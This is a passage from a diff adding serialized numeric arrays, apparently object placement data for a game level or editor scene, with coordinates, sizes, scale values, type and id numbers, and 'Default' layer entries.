+ []
+ ],
+ 505,
+ 3131,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2160,
+ 1266,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3132,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2250,
+ 1266,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3133,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 1358,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3134,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2160,
+ 1358,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3135,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2250,
+ 1358,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3136,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3137,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2160,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3138,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2249,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 3139,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2249.742431640625,
+ 988.5640869140625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3140,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2249.742431640625,
+ 1173.564086914063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3141,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1769.195678710938,
+ 897.2289428710938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3142,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1949.688720703125,
+ 897.3101806640625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3143,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2039.688720703125,
+ 898.3101806640625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3144,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1859.688720703125,
+ 897.3101806640625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3145,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2339.947021484375,
+ 1173.56396484375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3146,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2430.5458984375,
+ 1173.357421875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3147,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2520.75048828125,
+ 1173.357299804688,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3148,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2523,
+ 952,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3149,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2523,
+ 873,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3150,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2523,
+ 794,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3151,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2524,
+ 716,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3152,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 637,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3153,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 560,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3154,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 481,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3155,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 402,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3156,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2526,
+ 324,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3157,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2527,
+ 245,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3158,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2527,
+ 168,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3159,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2527,
+ 89,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3160,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2527,
+ 10,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3161,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2528,
+ -68,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3162,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2529,
+ -147,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3163,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2069.84033203125,
+ 1174.564086914063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3164,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1670.05712890625,
+ 645.4243774414062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3165,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1747.510864257813,
+ 645.4243774414062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3166,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1823.935913085938,
+ 645.4243774414062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3167,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1903.112670898438,
+ 645.7354736328125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3168,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1979.537719726563,
+ 645.7354736328125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3169,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1980.5078125,
+ 567.4602661132812,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3170,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1980.524291992188,
+ 488.2163696289063,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3171,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1981.494384765625,
+ 409.941162109375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3172,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1901.586059570313,
+ 566.5264892578125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3173,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1673.870239257813,
+ 352.2344970703125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3174,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2058.09619140625,
+ 409.8449401855469,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3175,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2134.521484375,
+ 409.8449401855469,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3176,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2213.6982421875,
+ 410.1560363769531,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3177,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2212,
+ 638,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3178,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2213,
+ 560,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3179,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2213,
+ 485,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3180,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2290.2734375,
+ 637.497802734375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3181,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2369.4501953125,
+ 637.8088989257812,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3182,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2445.87548828125,
+ 637.8088989257812,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3183,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2446.51220703125,
+ 481,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3184,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2340.169189453125,
+ 988.5640869140625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3185,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2684,
+ 1134,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3186,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2716,
+ 1134,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3187,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2748,
+ 1134,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3188,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2875,
+ 1042,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3189,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2907,
+ 1042,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3190,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2939,
+ 1042,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3191,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3066,
+ 952,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3192,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3098,
+ 952,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3193,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3130,
+ 952,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3194,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3255.595458984375,
+ 860.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3195,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3287.595458984375,
+ 860.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3196,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3319.595458984375,
+ 860.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3197,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3446.595458984375,
+ 770.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3198,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3478.595458984375,
+ 770.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3199,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3510.595458984375,
+ 770.044189453125,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 3200,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3565,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3201,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3565,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 3202,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3835,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3203,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3655,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3204,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3205,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3835,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3206,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3925,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 3207,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3655,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 3208,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 3209,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3925,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 3210,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3564.83203125,
+ 984.82958984375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3211,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3655.83203125,
+ 984.82958984375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3212,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745.83203125,
+ 984.82958984375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3213,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3835.83203125,
+ 984.82958984375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3214,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3924.947265625,
+ 984.5023803710938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 3215,
